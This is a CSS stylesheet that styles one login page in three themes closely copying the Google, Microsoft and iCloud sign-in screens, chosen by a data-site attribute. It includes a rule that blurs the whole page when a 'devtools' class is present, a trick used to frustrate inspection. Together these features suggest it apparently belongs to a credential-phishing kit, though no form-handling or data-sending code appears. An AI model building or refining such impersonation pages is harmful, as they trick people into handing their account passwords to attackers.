*,*::before,*::after{box-sizing:border-box}
html,body{height:100%}
body{margin:0;display:flex;flex-direction:column;align-items:center;justify-content:center;
  min-height:100vh;padding:24px 0;background:#fff;color:#202124;
  font-family:Roboto,"Helvetica Neue",Arial,sans-serif;-webkit-font-smoothing:antialiased}
body.center{justify-content:center}
body.devtools{filter:blur(6px)}

/* ---------- Google (default) ---------- */
.card{width:100%;max-width:450px;padding:48px 40px 36px;border:1px solid #dadce0;border-radius:8px}
.logo{display:block;height:24px;margin:0 auto 16px}
h1{font-size:24px;font-weight:400;line-height:1.33;text-align:center;margin:0 0 8px}
.sub{font-size:16px;line-height:1.5;text-align:center;margin:0 0 26px;color:#202124}
.field{position:relative;margin-bottom:8px}
.field input{width:100%;height:56px;padding:13px 15px;font-size:16px;color:#202124;
  background:#fff;border:1px solid #dadce0;border-radius:4px;outline:none;transition:border .1s}
.field input:focus{border:2px solid #0b57d0;padding:12px 14px}
.field input[aria-invalid="true"]{border-color:#d93025}
.field label{position:absolute;left:12px;top:16px;padding:0 4px;background:#fff;
  color:#5f6368;font-size:16px;line-height:1.2;pointer-events:none;transition:top .1s,font-size .1s}
.field input:focus+label,
.field input:not(:placeholder-shown)+label{top:-8px;font-size:12px}
.field input:focus+label{color:#0b57d0}
.err{margin:6px 0 0;padding-left:4px;font-size:12px;color:#d93025}
.link{color:#0b57d0;font-size:14px;font-weight:500;text-decoration:none}
.link:hover{text-decoration:underline}
.guest{display:flex;gap:12px;margin:26px 0 8px}
.guest p{margin:0;font-size:14px;line-height:1.5;color:#5f6368}
.guest svg{flex:0 0 auto;margin-top:1px}
.check{display:inline-flex;align-items:center;gap:8px;margin:18px 0 6px;
  font-size:14px;color:#202124;cursor:pointer;user-select:none}
.check input{width:16px;height:16px;margin:0;accent-color:#0b57d0}
.row{display:flex;align-items:center;justify-content:space-between;margin-top:32px}
button{font-family:inherit;font-size:14px;font-weight:500;color:#fff;background:#0b57d0;
  border:0;border-radius:4px;padding:11px 24px;cursor:pointer;transition:box-shadow .1s}
button:hover{box-shadow:0 1px 2px rgba(60,64,67,.3),0 1px 3px 1px rgba(60,64,67,.15)}
button:active{background:#0a4bb3}
.chiprow{display:flex;justify-content:center;margin:0 0 22px}
.chip{display:inline-flex;align-items:center;gap:8px;max-width:100%;padding:6px 14px 6px 6px;
  border:1px solid #dadce0;border-radius:100px;font-size:14px}
.avatar{display:grid;place-items:center;flex:0 0 auto;width:24px;height:24px;border-radius:50%;
  background:#0b57d0;color:#fff;font-size:12px;font-weight:500;text-transform:uppercase}
.who{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
footer{display:flex;align-items:center;justify-content:space-between;width:100%;
  max-width:450px;margin-top:24px;padding:0 40px;font-size:12px;color:#5f6368}
footer select{font-size:12px;color:#5f6368;background:none;border:0;padding:4px 0}
footer nav{display:flex;gap:18px}
footer nav a{color:#5f6368;text-decoration:none}
footer nav a:hover{color:#202124}
.spinner{width:28px;height:28px;border:3px solid #dadce0;border-top-color:#0b57d0;
  border-radius:50%;animation:spin .8s linear infinite}
@keyframes spin{to{transform:rotate(360deg)}}

/* ---------- Microsoft ---------- */
[data-site="microsoft"] body{font-family:"Segoe UI",system-ui,sans-serif}
[data-site="microsoft"] .card{border:0;box-shadow:0 2px 6px rgba(0,0,0,.2);border-radius:0;
  padding:44px;max-width:440px}
[data-site="microsoft"] .logo.ms{height:24px}
[data-site="microsoft"] h1{font-size:24px;font-weight:600;text-align:left}
[data-site="microsoft"] .sub{text-align:left}
[data-site="microsoft"] .field input{border:0;border-bottom:1px solid #666;border-radius:0;height:36px;
  padding:6px 10px}
[data-site="microsoft"] .field input:focus{border:0;border-bottom:2px solid #0067b8;padding:6px 10px}
[data-site="microsoft"] .field label{background:#fff}
[data-site="microsoft"] button{background:#0067b8;border-radius:0;padding:8px 32px}
[data-site="microsoft"] .link{color:#0067b8;font-weight:400}
[data-site="microsoft"] .guest{margin:22px 0 8px}
[data-site="microsoft"] .row{justify-content:flex-end;gap:16px}

/* ---------- iCloud ---------- */
[data-site="icloud"] body{font-family:-apple-system,"SF Pro Text",system-ui,sans-serif;
  background:#f5f5f7}
[data-site="icloud"] .card{border:0;box-shadow:none;background:#fff;border-radius:18px;
  padding:40px 36px 32px;max-width:420px}
[data-site="icloud"] .logo.apple{height:26px}
[data-site="icloud"] h1{font-size:23px;font-weight:600}
[data-site="icloud"] .sub{font-size:14px;color:#6e6e73}
[data-site="icloud"] .field input{border-radius:10px;background:#f5f5f7;border:1px solid #d2d2d7;
  height:48px}
[data-site="icloud"] .field input:focus{border:2px solid #0071e3;padding:12px 14px}
[data-site="icloud"] button{background:#0071e3;border-radius:10px;padding:11px 22px}
[data-site="icloud"] .link{color:#0071e3;font-weight:400}
[data-site="icloud"] .avatar{background:#6e6e73}
[data-site="icloud"] footer{color:#6e6e73}

@media (max-width:520px){
  body{padding:0;justify-content:flex-start}
  .card{border:0;padding:24px;max-width:none}
  [data-site="microsoft"] .card,[data-site="icloud"] .card{padding:24px;border-radius:0}
  footer{padding:0 24px;margin-top:8px}
}

@media (prefers-reduced-motion:reduce){
  .spinner{animation-duration:1.6s}
  *{transition:none}
}